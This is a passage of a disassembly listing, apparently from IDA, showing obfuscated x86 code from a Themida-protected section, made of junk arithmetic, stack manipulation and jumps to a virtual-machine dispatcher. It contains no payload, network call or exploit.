mov bl, 55h
push edx
mov dl, 0D7h
shl dl, 1
jmp loc_595AE8
; ---------------------------------------------------------------------------
loc_594460: ; CODE XREF: Themida_:0059FA1Bj
push ebx
mov bl, 65h
and bl, 7Ah
xor bl, 0CFh
jmp loc_59D7C8
; ---------------------------------------------------------------------------
loc_59446E: ; CODE XREF: Themida_:005938BBj
cmp cl, al
pushf
jmp loc_59DBEF
; ---------------------------------------------------------------------------
loc_594476: ; CODE XREF: Themida_:00592A85j
push ecx
jmp loc_591220
; ---------------------------------------------------------------------------
loc_59447C: ; CODE XREF: Themida_:0059E102j
push dword ptr [esp+4]
jmp loc_595C7E
; ---------------------------------------------------------------------------
loc_594485: ; CODE XREF: Themida_:005A169Aj
push esi
push 33F64DB5h
jmp loc_5989EA
; ---------------------------------------------------------------------------
loc_594490: ; CODE XREF: Themida_:00598042j
mov edi, 2B917E7Fh
sub eax, 17387764h
add eax, edi
jmp loc_59F347
; ---------------------------------------------------------------------------
loc_5944A1: ; CODE XREF: Themida_:00592645j
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
jmp loc_59E3F4
; ---------------------------------------------------------------------------
loc_5944B2: ; CODE XREF: Themida_:0059B0A5j
and esi, edx
push dword ptr [esp]
pop edx
jmp loc_59AD26
; ---------------------------------------------------------------------------
loc_5944BD: ; CODE XREF: Themida_:00599E7Cj
pop edi
xor ebx, eax
pop eax
jmp loc_596DEF
; ---------------------------------------------------------------------------
loc_5944C6: ; CODE XREF: Themida_:005969AFj
shl edx, 1
push eax
jmp loc_59532B
; ---------------------------------------------------------------------------
loc_5944CE: ; CODE XREF: Themida_:005972EAj
pop esp
push edi
jmp loc_595FE0
; ---------------------------------------------------------------------------
loc_5944D5: ; CODE XREF: Themida_:00594FA0j
pop ebp
push esi
push ebx
mov ebx, 16413962h
mov esi, ebx
pop ebx
and ebx, esi
pop esi
xor ebx, 16FF0EECh
push edx
jmp loc_5A491A
; ---------------------------------------------------------------------------
loc_5944EF: ; CODE XREF: Themida_:0059341Dj
mov ecx, ebx
mov esi, ecx
jmp loc_59188E
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp], cl
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_594507: ; CODE XREF: Themida_:0059EB08j
sub esp, 4
jmp loc_593277
; ---------------------------------------------------------------------------
loc_594512: ; CODE XREF: Themida_:0059BE26j
mov esp, [esp]
mov [esp], dx
push ax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_594521: ; CODE XREF: Themida_:005917CDj
sub edi, 0D183BBBh
sub edi, 2B462DEAh
jmp loc_5A4E8D
; ---------------------------------------------------------------------------
loc_594532: ; CODE XREF: Themida_:00597565j
push 7108h
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
jmp loc_5A2ADB
; ---------------------------------------------------------------------------
loc_594546: ; CODE XREF: Themida_:00597420j
push esi
push 6D563AA4h
pop esi
add esi, 19295333h
sub esi, 506B7B9Dh
mov eax, esi
pop esi
xor eax, ebx
pop ebx
xor eax, 7A4135F0h
push esi
mov esi, 44642835h
inc esi
dec esi
shr esi, 2
sub esi, 0C648E17h
xor eax, esi
jmp loc_59CC88
; ---------------------------------------------------------------------------
loc_59457C: ; CODE XREF: Themida_:005A4DA0j
pop dx
push 354Eh
mov [esp], ecx
jmp loc_59935B
; ---------------------------------------------------------------------------
loc_59458B: ; CODE XREF: Themida_:00599056j
and [esp], ax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_594595: ; CODE XREF: Themida_:0059371Dj
add eax, 5A89416Eh
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
mov ebp, 1B27688Dh
jmp loc_59AF7C
; ---------------------------------------------------------------------------
loc_5945B3: ; CODE XREF: Themida_:0059A030j
push ebx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
jmp loc_596CDA
; ---------------------------------------------------------------------------
loc_5945CB: ; CODE XREF: Themida_:00598F92j
mov eax, [esp]
add esp, 4
push edx
push 2D18h
jmp loc_5A3958
; ---------------------------------------------------------------------------
loc_5945DC: ; CODE XREF: Themida_:0059F06Aj
mov eax, 0FB66E9F5h
add edx, 1E6E5BD0h
jmp loc_5A2492
; ---------------------------------------------------------------------------
loc_5945EC: ; CODE XREF: Themida_:0059C277j
xchg edi, [esp]
jmp loc_595EB5
; ---------------------------------------------------------------------------
loc_5945F4: ; CODE XREF: Themida_:0059C4EEj
pop edx
pop dword ptr [esp]
jmp loc_596949
; ---------------------------------------------------------------------------
loc_5945FD: ; CODE XREF: Themida_:00594F7Dj
sub ebx, 0B946ACCh
push ebp
mov ebp, 27AB3FF0h
jmp loc_59ECE6
; ---------------------------------------------------------------------------
loc_59460E: ; CODE XREF: Themida_:005966FBj
push ebx
jmp loc_598ABA
; ---------------------------------------------------------------------------
loc_594614: ; CODE XREF: Themida_:00594699j
push ebx
mov bl, 34h
push 231Eh
mov [esp], edx
mov dl, 2Dh
sub dl, 74h
jmp loc_598B3E
; ---------------------------------------------------------------------------
loc_594629: ; CODE XREF: Themida_:005A328Aj
push edx
push 4
pop edx
sub dword ptr [esp+4], 6E9C2029h
add [esp+4], edx
jmp loc_5959A5
; ---------------------------------------------------------------------------
loc_594641: ; CODE XREF: Themida_:005A3CC3j
xchg ebp, [esp]
pop esp
xor ecx, [esp]
jmp loc_5A4762
; ---------------------------------------------------------------------------
loc_59464D: ; CODE XREF: Themida_:0059600Fj
mov esi, ecx
mov ecx, [esp]
add esp, 4
pop edx
jmp loc_59F0F4
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
mov eax, esp
add eax, 4
sub eax, 4
sub esp, 4
jmp loc_59836D
; ---------------------------------------------------------------------------
loc_594677: ; CODE XREF: Themida_:005A4B03j
add ebx, 51BA776Bh
add ebx, edi
jmp loc_59F9E1
; ---------------------------------------------------------------------------
loc_594684: ; CODE XREF: Themida_:005A39B1j
mov [esp], ebp
push 155Eh
jmp loc_59B5F0
; ---------------------------------------------------------------------------
loc_594691: ; CODE XREF: Themida_:00595379j
push 189Fh
mov [esp], ecx
jmp loc_594614
; ---------------------------------------------------------------------------
loc_59469E: ; CODE XREF: Themida_:005924C9j
add esi, edx
pop edx
jmp loc_594C8F
; ---------------------------------------------------------------------------
loc_5946A6: ; CODE XREF: Themida_:005A21F0j
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
add esi, 4
push edi
jmp loc_59FEE5
; ---------------------------------------------------------------------------
loc_5946C4: ; CODE XREF: Themida_:0059D95Cj
add edi, 9A5A1520h
sub esi, 0FB600B7h
add esi, edi
add esi, 0FB600B7h
jmp loc_5991D5
; ---------------------------------------------------------------------------
loc_5946DD: ; CODE XREF: Themida_:005A0711j
sub eax, 2288587Dh
jmp loc_593F2B
; ---------------------------------------------------------------------------
loc_5946E7: ; CODE XREF: Themida_:005A42A2j
add esp, 4
push eax
mov eax, 3B3757EBh
push edx
mov edx, 2CD90BAEh
shr edx, 5
add edx, 3A254C4h
or eax, edx
pop edx
jmp loc_5A0631
; ---------------------------------------------------------------------------
loc_59470A: ; CODE XREF: Themida_:00591234j
push edi
mov edi, 59176EC4h
and edx, edi
pop edi
push ebx
jmp loc_5A0F06
; ---------------------------------------------------------------------------
loc_594719: ; CODE XREF: Themida_:00597457j
mov ecx, ebx
push dword ptr [esp]
pop ebx
push esi
sub esp, 4
mov [esp], esp
push ebx
mov ebx, 4
add [esp+4], ebx
pop ebx
mov esi, [esp]
push edi
jmp loc_596599
; ---------------------------------------------------------------------------
loc_59473D: ; CODE XREF: Themida_:0059F5C8j
pop ebp
push edx
push ebp
push ecx
mov ecx, 5F870934h
add [esp+4], ecx
jmp loc_59FDFC
; ---------------------------------------------------------------------------
loc_59474F: ; CODE XREF: Themida_:005921B1j
sub bl, 5Ah
add bl, cl
jmp loc_59E349
; ---------------------------------------------------------------------------
loc_594759: ; CODE XREF: Themida_:0059CCD2j
add ebp, 6B4648EBh
jmp loc_59F9F8
; ---------------------------------------------------------------------------
loc_594764: ; CODE XREF: Themida_:005993C1j
pop ebx
add esp, 4
shr eax, 0Ch
xor eax, ecx
push 7787h
mov [esp], eax
jmp loc_5951D9
; ---------------------------------------------------------------------------
loc_59477A: ; CODE XREF: Themida_:0059F970j
mov ecx, ebx
pop ebx
add edi, ecx
push dword ptr [esp]
pop ecx
jmp loc_596668
; ---------------------------------------------------------------------------
loc_594788: ; CODE XREF: Themida_:005A11C6j
add dh, 37h
mov bl, dh
pop edx
mov dh, bl
pop ebx
mov cl, 74h
sub cl, dh
pop edx
jmp loc_596A3A
; ---------------------------------------------------------------------------
loc_59479B: ; CODE XREF: Themida_:005917A9j
add esi, eax
pop eax
sub esi, 8A89510Fh
add ebp, esi
pop esi
jmp loc_5955A1
; ---------------------------------------------------------------------------
loc_5947AC: ; CODE XREF: Themida_:005A3C8Bj
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
push edi
mov edi, 4
jmp loc_59ADEF
; ---------------------------------------------------------------------------
loc_5947C3: ; CODE XREF: Themida_:0059082Aj
mov esi, 2
jmp loc_59E7FA
; ---------------------------------------------------------------------------
loc_5947CD: ; CODE XREF: Themida_:00593272j
pop ecx
shl ebp, 5
push ebx
push ebp
jmp loc_5A25E9
; ---------------------------------------------------------------------------
loc_5947D8: ; CODE XREF: Themida_:005A1217j
add esp, 4
add edx, ebx
pop ebx
jmp loc_59B445
; ---------------------------------------------------------------------------
loc_5947E3: ; CODE XREF: Themida_:00597C76j
mov [esp], ebx
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_5960E8
; ---------------------------------------------------------------------------
loc_5947FD: ; CODE XREF: Themida_:0059278Aj
push esp
mov ebx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push 7C5Ch
mov [esp], esi
push ebp
mov ebp, 4
push 6C96h
mov [esp], eax
mov eax, ebp
mov esi, eax
pop eax
push dword ptr [esp]
mov ebp, [esp]
jmp loc_5A1FDD
; ---------------------------------------------------------------------------
loc_59483A: ; CODE XREF: Themida_:00597077j
xchg edi, [esp]
jmp loc_5A2E72
; ---------------------------------------------------------------------------
loc_594842: ; CODE XREF: Themida_:0059AE73j
add ebx, 5467709Dh
xor ebx, 2D675899h
not ebx
dec ebx
add ebx, 0CEFBCAD7h
and ecx, ebx
pop ebx
shl ecx, 3
add ecx, 27450533h
jmp loc_597AF8
; ---------------------------------------------------------------------------
loc_594868: ; CODE XREF: Themida_:005A5173j
pop ebx
dec edi
jmp loc_596EF1
; ---------------------------------------------------------------------------
loc_59486F: ; CODE XREF: Themida_:0059EAA3j
push edx
mov edx, esp
push ebx
mov ebx, 4
add edx, ebx
pop ebx
jmp loc_59E8E0
; ---------------------------------------------------------------------------
loc_594880: ; CODE XREF: Themida_:0059A5BBj
pop eax
jmp loc_5A22F5
; ---------------------------------------------------------------------------
loc_594886: ; CODE XREF: Themida_:0059D25Ej
mov ebx, [esp]
jmp loc_598447
; ---------------------------------------------------------------------------
loc_59488E: ; CODE XREF: Themida_:005A1E37j
shr ecx, 5
shr ecx, 5
not ecx
sub ecx, 72F66B4Eh
push ebp
push ebx
mov ebx, 1AD80BA9h
jmp loc_590450
; ---------------------------------------------------------------------------
loc_5948A8: ; CODE XREF: Themida_:0059EB6Dj
mov ebx, [esp]
jmp loc_591C94
; ---------------------------------------------------------------------------
loc_5948B0: ; CODE XREF: Themida_:00591515j
mov edx, [esp]
jmp loc_5932EE
; ---------------------------------------------------------------------------
loc_5948B8: ; CODE XREF: Themida_:0059B1D3j
xor esi, ebp
pop ebp
mov edx, esi
pop esi
mov esi, 634E5C4Eh
xor esi, edx
pop edx
sub eax, esi
pop esi
push dword ptr [esp]
pop edi
push 49A3h
mov [esp], ebx
mov ebx, esp
push ecx
push 4
pop ecx
sub ebx, 1F5162B1h
add ebx, ecx
jmp loc_5A0BC6
; ---------------------------------------------------------------------------
loc_5948EB: ; CODE XREF: Themida_:0059CD94j
push dx
mov dh, cl
dec dh
mov cl, dh
pop dx
not cl
add cl, 30h
or bl, cl
pop ecx
not bl
neg bl
push dx
jmp loc_595D2F
; ---------------------------------------------------------------------------
loc_594908: ; CODE XREF: Themida_:00592F80j
push dword ptr [esp]
pop edx
jmp loc_59FA20
; ---------------------------------------------------------------------------
loc_594911: ; CODE XREF: Themida_:00597FDDj
mov edi, 603Eh
sub esi, edi
pop edi
jmp loc_5A00AE
; ---------------------------------------------------------------------------
loc_59491E: ; CODE XREF: Themida_:005A34C4j
mov edi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
pop dword ptr [esp]
pop esp
mov [esp], ecx
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_594940: ; CODE XREF: Themida_:0059E275j
shr ebx, 4
dec ebx
add ebx, 0DA469FBh
push ecx
mov ecx, 3DD22C6Fh
xor ebx, ecx
pop ecx
push edi
mov edi, 34D13EEAh
jmp loc_5A4C01
; ---------------------------------------------------------------------------
loc_59495E: ; CODE XREF: Themida_:00590A21j
mov eax, [esp]
push edx
jmp loc_59DA3C
; ---------------------------------------------------------------------------
lodsb
jmp loc_5A31B1
; ---------------------------------------------------------------------------
loc_59496D: ; CODE XREF: Themida_:0059A822j
add esp, 4
push ebp
mov ebp, 3376542h
add ebx, ebp
pop ebp
jmp loc_59370B
; ---------------------------------------------------------------------------
loc_594981: ; CODE XREF: Themida_:0059CF16j
sub esi, 4822ED45h
mov ebp, esi
pop esi
and ebp, 0C51D7Ch
dec ebp
jmp loc_596312
; ---------------------------------------------------------------------------
loc_594996: ; CODE XREF: Themida_:0059B62Aj
pop edx
jmp loc_591302
; ---------------------------------------------------------------------------
loc_59499C: ; CODE XREF: Themida_:005A4793j
sub dl, bl
jmp loc_59FECF
; ---------------------------------------------------------------------------
loc_5949A3: ; CODE XREF: Themida_:005A12BCj
pop esp
shr ecx, 0Bh
push 7193h
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
sub esp, 4
jmp loc_597B1C
; ---------------------------------------------------------------------------
loc_5949C0: ; CODE XREF: Themida_:00595CC1j
mov esi, ebp
mov ebp, [esp]
jmp loc_597402
; ---------------------------------------------------------------------------
loc_5949CA: ; CODE XREF: Themida_:005A3D35j
push ebx
sub dword ptr [esp], 1100461Ch
jmp loc_59F564
; ---------------------------------------------------------------------------
loc_5949D7: ; CODE XREF: Themida_:0059A5A3j
push 5F51h
mov [esp], edx
mov edx, 125B7CBDh
push 0
jmp loc_59F03B
; ---------------------------------------------------------------------------
neg byte ptr [esp]
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5949F7: ; CODE XREF: Themida_:0059FCF4j
mov ch, bl
jmp loc_597C1A
; ---------------------------------------------------------------------------
loc_5949FE: ; CODE XREF: Themida_:005955F5j
push dword ptr [esp]
jmp loc_59FE75
; ---------------------------------------------------------------------------
loc_594A06: ; CODE XREF: Themida_:0059249Aj
mov esp, [esp]
add esp, 4
push 4194h
jmp loc_5985AC
; ---------------------------------------------------------------------------
loc_594A16: ; CODE XREF: Themida_:005A0503j
mov [esp], edi
mov edi, 643F5F2Dh
sub ebp, edi
pop edi
shl ebp, 4
neg ebp
sub ebp, 5A8D6825h
not ebp
push ecx
jmp loc_59E164
; ---------------------------------------------------------------------------
loc_594A34: ; CODE XREF: Themida_:0059D6C5j
sub ebx, 0B591E6Ah
add ebx, 5C5D3DD0h
sub ebx, edi
sub ebx, 5C5D3DD0h
add ebx, 0B591E6Ah
jmp loc_5A4D36
; ---------------------------------------------------------------------------
loc_594A53: ; CODE XREF: Themida_:0059B902j
mov [esp], edi
sub esp, 4
mov [esp], ebx
push 57864BFCh
mov ebx, [esp]
add esp, 4
xor ebx, 2BF13A71h
push ebp
mov ebp, ebx
mov edi, ebp
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_593C61
; ---------------------------------------------------------------------------
loc_594A86: ; CODE XREF: Themida_:005A2C53j
xor [esp+4], ebp
mov ebp, [esp]
add esp, 4
mov eax, [esp]
push ecx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esp
push edi
mov edi, 4
jmp loc_59D42F
; ---------------------------------------------------------------------------
loc_594AB2: ; CODE XREF: Themida_:0059F476j
pop esp
push ebx
push 5B54h
mov [esp], ecx
mov ch, 6
push edx
mov dl, 87h
shl dl, 8
sub dl, 0B6h
or ch, dl
jmp loc_5A3772
; ---------------------------------------------------------------------------
loc_594ACE: ; CODE XREF: Themida_:005A0C03j
add ecx, 4
jmp loc_59EA63
; ---------------------------------------------------------------------------
loc_594AD9: ; CODE XREF: Themida_:0059912Bj
sub [esp], edx
pop edx
jmp loc_59A0A4
; ---------------------------------------------------------------------------
loc_594AE2: ; CODE XREF: Themida_:005A3C49j
xchg ebx, [esp]
pop esp
mov [esp], edx
jmp loc_59D29C
; ---------------------------------------------------------------------------
loc_594AEE: ; CODE XREF: Themida_:005977C5j
xor ecx, 0F1A17CEh
mov edx, ecx
pop ecx
add edx, edi
add [edx], eax
jmp loc_598962
; ---------------------------------------------------------------------------
loc_594B00: ; CODE XREF: Themida_:00596EFFj
mov ecx, 18E12C32h
inc ecx
xor ecx, 6442049Ah
dec ecx
jmp loc_5A05FD
; ---------------------------------------------------------------------------
loc_594B12: ; CODE XREF: Themida_:0059F34Cj
pop edi
sub eax, 7E634B28h
sub eax, esi
push ebx
jmp loc_59A04A
; ---------------------------------------------------------------------------
loc_594B20: ; CODE XREF: Themida_:005A0F46j
push 7421h
mov [esp], ebp
mov ebp, esp
jmp loc_5A40D9
; ---------------------------------------------------------------------------
loc_594B2F: ; CODE XREF: Themida_:005A489Cj
push 241h
mov [esp], ebp
jmp loc_592E76
; ---------------------------------------------------------------------------
loc_594B3C: ; CODE XREF: Themida_:00597530j
add bh, 5Eh
jmp loc_592D51
; ---------------------------------------------------------------------------
loc_594B44: ; CODE XREF: Themida_:005967EDj
mov [esp], ebp
push 7219h
mov [esp], esp
push ebx
mov ebx, 4
add [esp+4], ebx
jmp loc_598FD9
; ---------------------------------------------------------------------------
loc_594B5E: ; CODE XREF: Themida_:00598FD4j
shl esi, 4
sub esi, 15505B98h
or ebp, esi
pop esi
jmp loc_59B140
; ---------------------------------------------------------------------------
loc_594B6F: ; CODE XREF: Themida_:005A45B3j
xor eax, edi
xor edi, eax
xor eax, edi
jmp loc_598C57
; ---------------------------------------------------------------------------
loc_594B7A: ; CODE XREF: Themida_:00599EBAj
xchg eax, [esp]
pop esp
add dword ptr [esp], 4B56045Fh
push 1050h
mov [esp], ebp
mov ebp, 49066370h
push edx
jmp loc_5A39E3
; ---------------------------------------------------------------------------
loc_594B98: ; CODE XREF: Themida_:00598EB1j
push edx
jmp loc_596346
; ---------------------------------------------------------------------------
loc_594B9E: ; CODE XREF: Themida_:0059F5A1j
pop dword ptr [esp]
mov esp, [esp]
retn
; ---------------------------------------------------------------------------
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_594BAA: ; CODE XREF: Themida_:005920D3j
pop ebp
xor esi, 5FD70755h
jmp loc_591AF2
; ---------------------------------------------------------------------------
loc_594BB6: ; CODE XREF: Themida_:005A3A1Ej
add ebp, 4
jmp loc_59D653
; ---------------------------------------------------------------------------
loc_594BC1: ; CODE XREF: Themida_:005A0C69j
push 2932120h
jmp loc_596C9F
; ---------------------------------------------------------------------------
lodsd
push 76F2h
jmp loc_598C2D
; ---------------------------------------------------------------------------
loc_594BD6: ; CODE XREF: Themida_:00590757j
mov [esp], ecx
push ebp
push esi
push ecx
jmp loc_59669A
; ---------------------------------------------------------------------------
loc_594BE1: ; CODE XREF: Themida_:005A510Dj
add ebp, 4
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
jmp loc_59991C
; ---------------------------------------------------------------------------
loc_594BF5: ; CODE XREF: Themida_:005952D0j
mov eax, [esp]
push eax
mov eax, esp
push ebp
mov ebp, 73C22DBEh
sub ebp, 73C22DBAh
add eax, ebp
pop ebp
add eax, 4
push eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
push 0EABh
jmp loc_5A512B
; ---------------------------------------------------------------------------
loc_594C29: ; CODE XREF: Themida_:00598691j
add esi, 63AF33B9h
sub esi, edi
sub esi, 63AF33B9h
mov edi, [esp]
jmp loc_599CC9
; ---------------------------------------------------------------------------
loc_594C3F: ; CODE XREF: Themida_:00598FB2j
mov [esp], ebx
mov ebx, esp
push edi
jmp loc_59BCFE
; ---------------------------------------------------------------------------
loc_594C4A: ; CODE XREF: Themida_:00599282j
pop dword ptr [esp]
jmp loc_59DCB9
; ---------------------------------------------------------------------------
loc_594C52: ; CODE XREF: Themida_:0059A25Aj
push 212Eh
mov [esp], esi
pop dword ptr [edi+24h]
pop esi
jmp loc_5A5058
; ---------------------------------------------------------------------------
loc_594C63: ; CODE XREF: Themida_:00592693j
xor [esp], edi
jmp loc_59D4F3
; ---------------------------------------------------------------------------
loc_594C6B: ; CODE XREF: Themida_:005A3E6Fj
xor ebx, 344B3736h
sub ebx, 3F7B279Bh
neg ebx
add ebx, 0F293D049h
sub ecx, ebx
pop ebx
sub ecx, 7E6E268Bh
add ecx, esi
jmp loc_595C3E
; ---------------------------------------------------------------------------
loc_594C8F: ; CODE XREF: Themida_:005946A1j
xchg esi, [esp]
jmp loc_59B593
; ---------------------------------------------------------------------------
loc_594C97: ; CODE XREF: Themida_:00595911j
sub [edi+24h], eax
mov eax, [esp]
add esp, 4
loc_594CA0: ; CODE XREF: Themida_:0059FC70j
push 1252h
mov [esp], ebx
push ebp
sub esp, 4
mov [esp], edi
jmp loc_59E47D
; ---------------------------------------------------------------------------
loc_594CB4: ; CODE XREF: Themida_:005995D3j
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_594CB9: ; CODE XREF: Themida_:005A007Dj
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
xor bl, al
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_594CD9: ; CODE XREF: Themida_:0059FD06j
and edx, 7AB3789Ah
sub edx, 47420AE8h
sub edx, 6ADF4AFFh
sub edx, 0ED8ACF4h
xor esi, edx
pop edx
jmp loc_5A05B6
; ---------------------------------------------------------------------------
loc_594CF9: ; CODE XREF: Themida_:00592588j
add ebp, esi
pop esi
add ebp, 40951AC9h
jmp loc_59CD4E
; ---------------------------------------------------------------------------
loc_594D07: ; CODE XREF: Themida_:00593B4Aj
mov ebp, esp
add ebp, 4
push esi
jmp loc_59BAA8
; ---------------------------------------------------------------------------
loc_594D15: ; CODE XREF: Themida_:00599F04j
mov esp, [esp]
btc [esp], ax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_594D23: ; CODE XREF: Themida_:005A0AC6j
or bh, 4Fh
push 0
sub [esp], bh
mov bh, [esp]
add esp, 4
shl bh, 3
add bh, 0E1h
not bh
sub bh, 0FFh
sub bh, 0F1h
xor dl, bh
pop ebx
xor dl, ah
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_598174
; ---------------------------------------------------------------------------
loc_594D53: ; CODE XREF: Themida_:00598AFBj
inc ebp
jmp loc_5A1128
; ---------------------------------------------------------------------------
loc_594D59: ; CODE XREF: Themida_:005983C9j
mov esp, [esp]
push eax
mov eax, 0CCC6F03h
push esi
mov esi, 1F981109h
not esi
not esi
not esi
jmp loc_59DCA1
; ---------------------------------------------------------------------------
loc_594D73: ; CODE XREF: Themida_:005A1A9Ej
xchg ecx, [esp]
mov esp, [esp]
shr dword ptr [esp], cl
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_594D82: ; CODE XREF: Themida_:005A3606j
mov ecx, [esp]
add esp, 4
xor edx, eax
mov eax, [esp]
add esp, 4
add ebp, edx
jmp loc_59C290
; ---------------------------------------------------------------------------
loc_594D97: ; CODE XREF: Themida_:005A4B60j
mov ebp, [esp]
add esp, 4
jmp loc_59BED6
; ---------------------------------------------------------------------------
loc_594DA2: ; CODE XREF: Themida_:0059CB7Aj
shl eax, 3
push 14A0h
mov [esp], edi
jmp loc_5A23BB
; ---------------------------------------------------------------------------
loc_594DB2: ; CODE XREF: Themida_:005A44E3j
sub edx, 3373093Bh
sub edx, 83D834A2h
push edx
add dword ptr [esp], 63A02D67h
pop ecx
sub ecx, 63A02D67h
jmp loc_5A43FB
; ---------------------------------------------------------------------------
loc_594DD2: ; CODE XREF: Themida_:00599DADj
xchg edi, [esp]
pop esp
mov [esp], esi
push esp
mov esi, [esp]
push esi
jmp loc_5A3EE1
; ---------------------------------------------------------------------------
loc_594DE3: ; CODE XREF: Themida_:005A51F0j
mov ecx, esp
push eax
jmp loc_593FA8
; ---------------------------------------------------------------------------
loc_594DEB: ; CODE XREF: Themida_:00591E59j
pop eax
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], esi
mov esi, esp
push eax
mov eax, 78975AC7h
inc eax
not eax
jmp loc_59DD70
; ---------------------------------------------------------------------------
loc_594E0B: ; CODE XREF: Themida_:005A3B96j
add ebp, 1EE81807h
xor ebp, 3A2F6F25h
xor ebp, 4F9570A4h
sub ebp, 52C1049Ch
add edx, ebp
pop ebp
push ecx
mov ecx, 4
jmp loc_598E20
; ---------------------------------------------------------------------------
loc_594E31: ; CODE XREF: Themida_:00593F78j
push dword ptr [esp]
pop esi
add esp, 4
add esi, 4
push 5455h
jmp loc_59233B
; ---------------------------------------------------------------------------
loc_594E48: ; CODE XREF: Themida_:00595B9Cj
xor cl, bl
pop ebx
push eax
mov ah, cl
push ecx
mov ch, ah
mov dl, ch
pop ecx
pop eax
pop ecx
jmp loc_59C5C8
; ---------------------------------------------------------------------------
loc_594E5B: ; CODE XREF: Themida_:005A3980j
push dword ptr [esp]
pop ebx
add esp, 4
push eax
push edx
push 448B06C9h
pop edx
sub edx, 5EA059FEh
add edx, 1A155339h
push ecx
mov ecx, edx
mov eax, ecx
pop ecx
mov edx, [esp]
push ecx
mov ecx, esp
push edx
mov edx, 4
add ecx, edx
pop edx
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_5950D7
; ---------------------------------------------------------------------------
loc_594E99: ; CODE XREF: Themida_:005958DFj
mov ebp, edx
pop edx
sub ebp, 628D2B13h
sub ebp, ecx
add ebp, 628D2B13h
jmp loc_591154
; ---------------------------------------------------------------------------
loc_594EAF: ; CODE XREF: Themida_:00592AC4j
push esi
push esp
jmp loc_595DA6
; ---------------------------------------------------------------------------
loc_594EB6: ; CODE XREF: Themida_:0059A0CDj
mov esi, 2914706Bh
sub [esp+8], esi
mov esi, [esp]
add esp, 4
jmp loc_5A44B7
; ---------------------------------------------------------------------------
loc_594ECD: ; CODE XREF: Themida_:005A44EBj
add esp, 4
add eax, esi
push ecx
mov ecx, 87F6AF2h
add eax, ecx
pop ecx
add eax, 4B88534Dh
mov esi, [esp]
add esp, 4
xor eax, [esp]
xor [esp], eax
jmp loc_59FC20
; ---------------------------------------------------------------------------
loc_594EF4: ; CODE XREF: Themida_:0059D96Aj
sub cl, bl
add cl, 87h
mov bx, [esp]
jmp loc_59691A
; ---------------------------------------------------------------------------
loc_594F02: ; CODE XREF: Themida_:0059D0EBj
sub al, ch
jmp loc_59D44B
; ---------------------------------------------------------------------------
loc_594F09: ; CODE XREF: Themida_:0059CEAEj
pop dword ptr [esp]
jmp loc_59E5D8
; ---------------------------------------------------------------------------
loc_594F11: ; CODE XREF: Themida_:0059BE90j
mov ebp, 80404C2h
jmp loc_5A4585
; ---------------------------------------------------------------------------
loc_594F1B: ; CODE XREF: Themida_:005A485Dj
push 13105BC0h
jmp loc_591512
; ---------------------------------------------------------------------------
loc_594F25: ; CODE XREF: Themida_:0059FD59j
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_594F2A: ; CODE XREF: Themida_:0059121Bj
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
jmp loc_59CAD3
; ---------------------------------------------------------------------------
loc_594F3E: ; CODE XREF: Themida_:00593314j
mov eax, 37F97101h
xor eax, 2D506B01h
xor esi, eax
mov eax, [esp]
jmp loc_59154A
; ---------------------------------------------------------------------------
loc_594F52: ; CODE XREF: Themida_:00597313j
push 4AEEh
mov [esp], eax
push ebx
push edx
mov edx, 1E2F232Fh
jmp loc_595713
; ---------------------------------------------------------------------------
lodsd
push ebp
jmp loc_597224
; ---------------------------------------------------------------------------
loc_594F6D: ; CODE XREF: Themida_:0059E7E2j
add ebx, 4
jmp loc_596EA8
; ---------------------------------------------------------------------------
loc_594F75: ; CODE XREF: Themida_:005A3C0Aj
mov [esp], ebx
mov ebx, 1Ch
jmp loc_5945FD
; ---------------------------------------------------------------------------
loc_594F82: ; CODE XREF: Themida_:005A3109j
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edi
jmp loc_591C0A
; ---------------------------------------------------------------------------
loc_594F98: ; CODE XREF: Themida_:005A1A42j
sub ebx, ebp
add ebx, 7D7B1252h
jmp loc_5944D5
; ---------------------------------------------------------------------------
loc_594FA5: ; CODE XREF: Themida_:00597B89j
xor ebp, edi
push dword ptr [esp]
pop edi
add esp, 4
sub eax, ebp
mov ebp, [esp]
push edi
push 6002h
mov [esp], esp
add dword ptr [esp], 4
mov edi, [esp]
add esp, 4
add edi, 4
push esi
mov esi, 4
jmp loc_590B5C
; ---------------------------------------------------------------------------
loc_594FDA: ; CODE XREF: Themida_:0059DA0Aj
xor dword ptr [edx], 54A51367h
